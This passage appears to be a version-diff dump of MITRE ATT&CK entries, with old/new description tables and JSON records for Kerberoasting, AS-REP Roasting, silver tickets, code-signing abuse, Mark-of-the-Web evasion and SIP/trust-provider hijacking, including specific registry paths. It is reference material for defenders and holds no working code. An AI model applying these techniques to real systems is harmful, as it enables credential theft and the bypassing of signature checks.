| > | ithout the encrypted timestamp and receive an AS-REP message | > | ithout the encrypted timestamp and receive an AS-REP message | ||
| > | with TGT data which may be encrypted with an insecure algor | > | with TGT data which may be encrypted with an insecure algor | ||
| > | ithm such as RC4. The recovered encrypted data may be vulner | > | ithm such as RC4. The recovered encrypted data may be vulner | ||
| > | able to offline [Password Cracking](https://attack.mitre.org | > | able to offline [Password Cracking](https://attack.mitre.org | ||
| > | /techniques/T1110/002) attacks similarly to [Kerberoasting]( | > | /techniques/T1110/002) attacks similarly to [Kerberoasting]( | ||
| > | https://attack.mitre.org/techniques/T1558/003) and expose pl | > | https://attack.mitre.org/techniques/T1558/003) and expose pl | ||
| > | aintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan | > | aintext credentials.(Citation: Harmj0y Roasting AS-REPs Jan | ||
| > | 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 20 | > | 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 201 | ||
| > | 19) An account registered to a domain, with or without spe | > | 9) An account registered to a domain, with or without spec | ||
| > | cial privileges, can be abused to list all domain accounts t | > | ial privileges, can be abused to list all domain accounts th | ||
| > | hat have preauthentication disabled by utilizing Windows too | > | at have preauthentication disabled by utilizing Windows tool | ||
| > | ls like [PowerShell](https://attack.mitre.org/techniques/T10 | > | s like [PowerShell](https://attack.mitre.org/techniques/T105 | ||
| > | 59/001) with an LDAP filter. Alternatively, the adversary ma | > | 9/001) with an LDAP filter. Alternatively, the adversary may | ||
| > | y send an AS-REQ message for each user. If the DC responds w | > | send an AS-REQ message for each user. If the DC responds wi | ||
| > | ithout errors, the account does not require preauthenticatio | > | thout errors, the account does not require preauthentication | ||
| > | n and the AS-REP message will already contain the encrypted | > | and the AS-REP message will already contain the encrypted d | ||
| > | data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation | > | ata.(Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: | ||
| > | : Stealthbits Cracking AS-REP Roasting Jun 2019) Cracked ha | > | Stealthbits Cracking AS-REP Roasting Jun 2019) Cracked hash | ||
| > | shes may enable [Persistence](https://attack.mitre.org/tacti | > | es may enable [Persistence](https://attack.mitre.org/tactics | ||
| > | cs/TA0003), [Privilege Escalation](https://attack.mitre.org/ | > | /TA0003), [Privilege Escalation](https://attack.mitre.org/ta | ||
| > | tactics/TA0004), and [Lateral Movement](https://attack.mitre | > | ctics/TA0004), and [Lateral Movement](https://attack.mitre.o | ||
| > | .org/tactics/TA0008) via access to [Valid Accounts](https:// | > | rg/tactics/TA0008) via access to [Valid Accounts](https://at | ||
| > | attack.mitre.org/techniques/T1078).(Citation: SANS Attacking | > | tack.mitre.org/techniques/T1078).(Citation: SANS Attacking K | ||
| > | Kerberos Nov 2014) | > | erberos Nov 2014) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse a valid Kerberos ticket-granting ticke | t | 1 | Adversaries may abuse a valid Kerberos ticket-granting ticke |
| > | t (TGT) or sniff network traffic to obtain a ticket-granting | > | t (TGT) or sniff network traffic to obtain a ticket-granting | ||
| > | service (TGS) ticket that may be vulnerable to [Brute Force | > | service (TGS) ticket that may be vulnerable to [Brute Force | ||
| > | ](https://attack.mitre.org/techniques/T1110).(Citation: Empi | > | ](https://attack.mitre.org/techniques/T1110).(Citation: Empi | ||
| > | re InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking | > | re InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking | ||
| > | Kerberos Dec 2015) Service principal names (SPNs) are used | > | Kerberos Dec 2015) Service principal names (SPNs) are used | ||
| > | to uniquely identify each instance of a Windows service. To | > | to uniquely identify each instance of a Windows service. To | ||
| > | enable authentication, Kerberos requires that SPNs be assoc | > | enable authentication, Kerberos requires that SPNs be assoc | ||
| > | iated with at least one service logon account (an account sp | > | iated with at least one service logon account (an account sp | ||
| > | ecifically tasked with running a service(Citation: Microsoft | > | ecifically tasked with running a service).(Citation: Microso | ||
| > | Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN | > | ft Detecting Kerberoasting Feb 2018)(Citation: Microsoft SPN | ||
| > | )(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerbe | > | )(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerbe | ||
| > | ros Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016) Advers | > | ros Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016) Advers | ||
| > | aries possessing a valid Kerberos ticket-granting ticket (TG | > | aries possessing a valid Kerberos ticket-granting ticket (TG | ||
| > | T) may request one or more Kerberos ticket-granting service | > | T) may request one or more Kerberos ticket-granting service | ||
| > | (TGS) service tickets for any SPN from a domain controller ( | > | (TGS) service tickets for any SPN from a domain controller ( | ||
| > | DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: A | > | DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: A | ||
| > | dSecurity Cracking Kerberos Dec 2015) Portions of these tick | > | dSecurity Cracking Kerberos Dec 2015) Portions of these tick | ||
| > | ets may be encrypted with the RC4 algorithm, meaning the Ker | > | ets may be encrypted with the RC4 algorithm, meaning the Ker | ||
| > | beros 5 TGS-REP etype 23 hash of the service account associa | > | beros 5 TGS-REP etype 23 hash of the service account associa | ||
| > | ted with the SPN is used as the private key and is thus vuln | > | ted with the SPN is used as the private key and is thus vuln | ||
| > | erable to offline [Brute Force](https://attack.mitre.org/tec | > | erable to offline [Brute Force](https://attack.mitre.org/tec | ||
| > | hniques/T1110) attacks that may expose plaintext credentials | > | hniques/T1110) attacks that may expose plaintext credentials | ||
| > | .(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: | > | .(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: | ||
| > | Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerber | > | Empire InvokeKerberoast Oct 2016)(Citation: Harmj0y Kerbero | ||
| > | oast Nov 2016) This same behavior could be executed using s | > | ast Nov 2016) This same behavior could be executed using se | ||
| > | ervice tickets captured from network traffic.(Citation: AdSe | > | rvice tickets captured from network traffic.(Citation: AdSec | ||
| > | curity Cracking Kerberos Dec 2015) Cracked hashes may enabl | > | urity Cracking Kerberos Dec 2015) Cracked hashes may enable | ||
| > | e [Persistence](https://attack.mitre.org/tactics/TA0003), [P | > | [Persistence](https://attack.mitre.org/tactics/TA0003), [Pr | ||
| > | rivilege Escalation](https://attack.mitre.org/tactics/TA0004 | > | ivilege Escalation](https://attack.mitre.org/tactics/TA0004) | ||
| > | ), and [Lateral Movement](https://attack.mitre.org/tactics/T | > | , and [Lateral Movement](https://attack.mitre.org/tactics/TA | ||
| > | A0008) via access to [Valid Accounts](https://attack.mitre.o | > | 0008) via access to [Valid Accounts](https://attack.mitre.or | ||
| > | rg/techniques/T1078).(Citation: SANS Attacking Kerberos Nov | > | g/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2 | ||
| > | 2014) | > | 014) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries who have the password hash of a target service a | t | 1 | Adversaries who have the password hash of a target service a |
| > | ccount (e.g. SharePoint, MSSQL) may forge Kerberos ticket gr | > | ccount (e.g. SharePoint, MSSQL) may forge Kerberos ticket gr | ||
| > | anting service (TGS) tickets, also known as silver tickets. | > | anting service (TGS) tickets, also known as silver tickets. | ||
| > | Kerberos TGS tickets are also known as service tickets.(Cita | > | Kerberos TGS tickets are also known as service tickets.(Cita | ||
| > | tion: ADSecurity Silver Tickets) Silver tickets are more li | > | tion: ADSecurity Silver Tickets) Silver tickets are more li | ||
| > | mited in scope in than golden tickets in that they only enab | > | mited in scope than golden tickets in that they only enable | ||
| > | le adversaries to access a particular resource (e.g. MSSQL) | > | adversaries to access a particular resource (e.g. MSSQL) and | ||
| > | and the system that hosts the resource; however, unlike gold | > | the system that hosts the resource; however, unlike golden | ||
| > | en tickets, adversaries with the ability to forge silver tic | > | tickets, adversaries with the ability to forge silver ticket | ||
| > | kets are able to create TGS tickets without interacting with | > | s are able to create TGS tickets without interacting with th | ||
| > | the Key Distribution Center (KDC), potentially making detec | > | e Key Distribution Center (KDC), potentially making detectio | ||
| > | tion more difficult.(Citation: ADSecurity Detecting Forged T | > | n more difficult.(Citation: ADSecurity Detecting Forged Tick | ||
| > | ickets) Password hashes for target services may be obtained | > | ets) Password hashes for target services may be obtained us | ||
| > | using [OS Credential Dumping](https://attack.mitre.org/tech | > | ing [OS Credential Dumping](https://attack.mitre.org/techniq | ||
| > | niques/T1003) or [Kerberoasting](https://attack.mitre.org/te | > | ues/T1003) or [Kerberoasting](https://attack.mitre.org/techn | ||
| > | chniques/T1558/003). | > | iques/T1558/003). |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create, acquire, or steal code signing mater | t | 1 | Adversaries may create, acquire, or steal code signing mater |
| > | ials to sign their malware or tools. Code signing provides a | > | ials to sign their malware or tools. Code signing provides a | ||
| > | level of authenticity on a binary from the developer and a | > | level of authenticity on a binary from the developer and a | ||
| > | guarantee that the binary has not been tampered with. (Citat | > | guarantee that the binary has not been tampered with.(Citati | ||
| > | ion: Wikipedia Code Signing) The certificates used during an | > | on: Wikipedia Code Signing) The certificates used during an | ||
| > | operation may be created, acquired, or stolen by the advers | > | operation may be created, acquired, or stolen by the adversa | ||
| > | ary. (Citation: Securelist Digital Certificates) (Citation: | > | ry.(Citation: Securelist Digital Certificates)(Citation: Sym | ||
| > | Symantec Digital Certificates) Unlike [Invalid Code Signatur | > | antec Digital Certificates) Unlike [Invalid Code Signature]( | ||
| > | e](https://attack.mitre.org/techniques/T1036/001), this acti | > | https://attack.mitre.org/techniques/T1036/001), this activit | ||
| > | vity will result in a valid signature. Code signing to veri | > | y will result in a valid signature. Code signing to verify | ||
| > | fy software on first run can be used on modern Windows and m | > | software on first run can be used on modern Windows and macO | ||
| > | acOS systems. It is not used on Linux due to the decentraliz | > | S systems. It is not used on Linux due to the decentralized | ||
| > | ed nature of the platform. (Citation: Wikipedia Code Signing | > | nature of the platform.(Citation: Wikipedia Code Signing)(Ci | ||
| > | )(Citation: EclecticLightChecksonEXECodeSigning) Code signi | > | tation: EclecticLightChecksonEXECodeSigning) Code signing c | ||
| > | ng certificates may be used to bypass security policies that | > | ertificates may be used to bypass security policies that req | ||
| > | require signed code to execute on a system. | > | uire signed code to execute on a system. |
Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)\n\nAdversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is an NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-impairment"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1553/005",
"external_id": "T1553.005"
},
{
"source_name": "Beek Use of VHD Dec 2020",
"description": "Beek, C. (2020, December 3). Investigating the Use of VHD Files By Cybercriminals. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20201203131725/https://christiaanbeek.medium.com/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316"
},
{
"source_name": "Outflank MotW 2020",
"description": "Hegt, S. (2020, March 30). Mark-of-the-Web from a red team\u2019s perspective. Retrieved February 22, 2021.",
"url": "https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/"
},
{
"source_name": "Intezer Russian APT Dec 2020",
"description": "Kennedy, J. (2020, December 9). A Zebra in Gopher's Clothing: Russian APT Uses COVID-19 Lures to Deliver Zebrocy. Retrieved February 22, 2021.",
"url": "https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/"
},
{
"source_name": "Microsoft Zone.Identifier 2020",
"description": "Microsoft. (2020, August 31). Zone.Identifier Stream Name. Retrieved February 22, 2021.",
"url": "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Christiaan Beek, @ChristiaanBeek"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "2.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 23:23:57.025000+00:00\", \"old_value\": \"2026-05-12 15:12:00.662000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)\\n\\nAdversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is an NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)\", \"old_value\": \"Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)\\n\\nAdversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)\\n \\n-Adversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)\\n+Adversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is an NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)\"}}}",
"previous_version": "2.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse specific file formats to subvert Mark- | t | 1 | Adversaries may abuse specific file formats to subvert Mark- |
| > | of-the-Web (MOTW) controls. In Windows, when files are downl | > | of-the-Web (MOTW) controls. In Windows, when files are downl | ||
| > | oaded from the Internet, they are tagged with a hidden NTFS | > | oaded from the Internet, they are tagged with a hidden NTFS | ||
| > | Alternate Data Stream (ADS) named <code>Zone.Identifier</cod | > | Alternate Data Stream (ADS) named <code>Zone.Identifier</cod | ||
| > | e> with a specific value known as the MOTW.(Citation: Micros | > | e> with a specific value known as the MOTW.(Citation: Micros | ||
| > | oft Zone.Identifier 2020) Files that are tagged with MOTW ar | > | oft Zone.Identifier 2020) Files that are tagged with MOTW ar | ||
| > | e protected and cannot perform certain actions. For example, | > | e protected and cannot perform certain actions. For example, | ||
| > | starting in MS Office 10, if a MS Office file has the MOTW, | > | starting in MS Office 10, if a MS Office file has the MOTW, | ||
| > | it will open in Protected View. Executables tagged with the | > | it will open in Protected View. Executables tagged with the | ||
| > | MOTW will be processed by Windows Defender SmartScreen that | > | MOTW will be processed by Windows Defender SmartScreen that | ||
| > | compares files with an allowlist of well-known executables. | > | compares files with an allowlist of well-known executables. | ||
| > | If the file is not known/trusted, SmartScreen will prevent | > | If the file is not known/trusted, SmartScreen will prevent | ||
| > | the execution and warn the user not to run it.(Citation: Bee | > | the execution and warn the user not to run it.(Citation: Bee | ||
| > | k Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citatio | > | k Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citatio | ||
| > | n: Intezer Russian APT Dec 2020) Adversaries may abuse cont | > | n: Intezer Russian APT Dec 2020) Adversaries may abuse cont | ||
| > | ainer files such as compressed/archive (.arj, .gzip) and/or | > | ainer files such as compressed/archive (.arj, .gzip) and/or | ||
| > | disk image (.iso, .vhd) file formats to deliver malicious pa | > | disk image (.iso, .vhd) file formats to deliver malicious pa | ||
| > | yloads that may not be tagged with MOTW. Container files dow | > | yloads that may not be tagged with MOTW. Container files dow | ||
| > | nloaded from the Internet will be marked with MOTW but the f | > | nloaded from the Internet will be marked with MOTW but the f | ||
| > | iles within may not inherit the MOTW after the container fil | > | iles within may not inherit the MOTW after the container fil | ||
| > | es are extracted and/or mounted. MOTW is a NTFS feature and | > | es are extracted and/or mounted. MOTW is an NTFS feature and | ||
| > | many container files do not support NTFS alternative data st | > | many container files do not support NTFS alternative data s | ||
| > | reams. After a container file is extracted and/or mounted, t | > | treams. After a container file is extracted and/or mounted, | ||
| > | he files contained within them may be treated as local files | > | the files contained within them may be treated as local file | ||
| > | on disk and run without protections.(Citation: Beek Use of | > | s on disk and run without protections.(Citation: Beek Use of | ||
| > | VHD Dec 2020)(Citation: Outflank MotW 2020) | > | VHD Dec 2020)(Citation: Outflank MotW 2020) |
Dll and FuncName Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP(Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID} that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP(Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL and Function Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID} that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation.(Citation: SpectorOps Subverting Trust Sept 2017)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-impairment"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1553/003",
"external_id": "T1553.003"
},
{
"source_name": "GitHub SIP POC Sept 2017",
"description": "Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018.",
"url": "https://github.com/mattifestation/PoCSubjectInterfacePackage"
},
{
"source_name": "SpectorOps Subverting Trust Sept 2017",
"description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.",
"url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"
},
{
"source_name": "Microsoft Catalog Files and Signatures April 2017",
"description": "Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018.",
"url": "https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files"
},
{
"source_name": "Microsoft Authenticode",
"description": "Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.",
"url": "https://msdn.microsoft.com/library/ms537359.aspx"
},
{
"source_name": "Microsoft WinVerifyTrust",
"description": "Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018.",
"url": "https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx"
},
{
"source_name": "EduardosBlog SIPs July 2008",
"description": "Navarro, E. (2008, July 11). SIP\u2019s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018.",
"url": "https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Matt Graeber, @mattifestation, SpecterOps"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "2.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:57:27.686000+00:00\", \"old_value\": \"2026-05-12 15:12:00.633000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode(Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,(Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature.(Citation: SpectorOps Subverting Trust Sept 2017)\\n\\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs)(Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all)(Citation: Microsoft Catalog Files and Signatures April 2017) and are identified by globally unique identifiers (GUIDs).(Citation: SpectorOps Subverting Trust Sept 2017)\\n\\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by:(Citation: SpectorOps Subverting Trust Sept 2017)\\n\\n* Modifying the Dll and FuncName Registry values in HKLM\\\\SOFTWARE[\\\\WOW6432Node\\\\]Microsoft\\\\Cryptography\\\\OID\\\\EncodingType 0\\\\CryptSIPDllGetSignedDataMsg\\\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP\\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP(Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\\n* Modifying the Dll and FuncName Registry values in HKLM\\\\SOFTWARE\\\\[WOW6432Node\\\\]Microsoft\\\\Cryptography\\\\OID\\\\EncodingType 0\\\\CryptSIPDllVerifyIndirectData\\\\{SIP_GUID} that point to the DLL providing a SIP\\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP(Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\\n* Modifying the DLL and Function Registry values in HKLM\\\\SOFTWARE\\\\[WOW6432Node\\\\]Microsoft\\\\Cryptography\\\\Providers\\\\Trust\\\\FinalPolicy\\\\{trust provider GUID} that point to the DLL providing a trust provider\\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.\\n\\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation.(Citation: SpectorOps Subverting Trust Sept 2017)\", \"old_value\": \"Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\\n\\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\\n\\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\\n\\n* Modifying the Dll and FuncName Registry values in HKLM\\\\SOFTWARE[\\\\WOW6432Node\\\\]Microsoft\\\\Cryptography\\\\OID\\\\EncodingType 0\\\\CryptSIPDllGetSignedDataMsg\\\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP\\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a 